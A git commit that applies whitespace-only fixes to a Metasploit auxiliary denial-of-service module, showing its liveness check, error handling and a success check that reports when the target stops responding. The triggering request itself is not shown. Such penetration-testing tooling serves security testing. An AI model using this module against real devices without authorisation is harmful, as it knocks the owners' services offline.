Make msftidy happy

unstable
sinn3r 2013-06-18 19:04:03 -05:00
parent 0533ca68dc
commit 7d15dc379d
1 changed files with 8 additions and 8 deletions

View File

@ -32,14 +32,14 @@ class Metasploit3 < Msf::Auxiliary
'DisclosureDate' => 'Jun 18 2013')) 'DisclosureDate' => 'Jun 18 2013'))
end end
def is_alive? def is_alive?
res = send_request_raw({ res = send_request_raw({
'method' => 'GET', 'method' => 'GET',
'uri' => '/', 'uri' => '/',
},10) },10)
return !res.nil? return !res.nil?
end end
def run def run
@ -73,7 +73,7 @@ class Metasploit3 < Msf::Auxiliary
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
print_error("Couldn't connect to #{rhost}:#{rport}") print_error("Couldn't connect to #{rhost}:#{rport}")
return return
end end
# The second request will load the network options page, which seems to trigger the DoS # The second request will load the network options page, which seems to trigger the DoS
@ -84,10 +84,10 @@ class Metasploit3 < Msf::Auxiliary
# Check to see if it worked or not # Check to see if it worked or not
if is_alive? if is_alive?
print_error("#{rhost}:#{rport} - Server is still alive") print_error("#{rhost}:#{rport} - Server is still alive")
else else
print_good("#{rhost}:#{rport} - Connection Refused: Success!") print_good("#{rhost}:#{rport} - Connection Refused: Success!")
end end
end end
end end